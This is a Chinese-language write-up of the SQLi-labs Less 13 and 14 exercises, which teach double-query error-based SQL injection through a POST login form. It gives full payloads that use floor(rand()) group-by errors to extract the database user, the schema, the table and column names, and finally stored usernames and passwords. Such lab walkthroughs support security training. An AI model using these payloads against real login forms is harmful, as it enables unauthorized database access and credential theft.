Less13
雙注入_POST_單引號_小括號_字符型注入
0x01. 雙注入應(yīng)用范圍
同Less5和Less6:
正確回顯是固定字符串(無回顯),這里頁面顯示flag,jpg這張圖片;
錯誤回顯是Mysql錯誤信息,這里頁面顯示slap.jpg這張圖片。


一般注入是通過正確回顯(Mysql數(shù)據(jù))返回查詢的數(shù)據(jù),雙注入則是通過錯誤回顯(Mysql錯誤信息)返回。
0x02. 注入過程
步驟1:用戶名和數(shù)據(jù)庫名
uname=1&passwd=1') union select count(*),concat_ws('-',(select user()),(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+

用戶名root,數(shù)據(jù)庫名security
步驟2:表名
uname=1&passwd=1') union select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a--+

表名users
步驟3:字段名
uname=1&passwd=1') union select count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2)) as a from information_schema.tables group by a--+

字段名username、password
步驟4:數(shù)據(jù)
uname=1&passwd=1') union select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2)) as a from information_schema.tables group by a--+

因為這里只能查詢一行,所以不能用group_concat(),可以修改limit的范圍來遍歷用戶信息。
Less14
雙注入_POST_雙引號_字符型注入
和Less13差別在于單雙引號和小括號,在報錯回顯中能夠直接看出雙引號,用同樣的方式注入。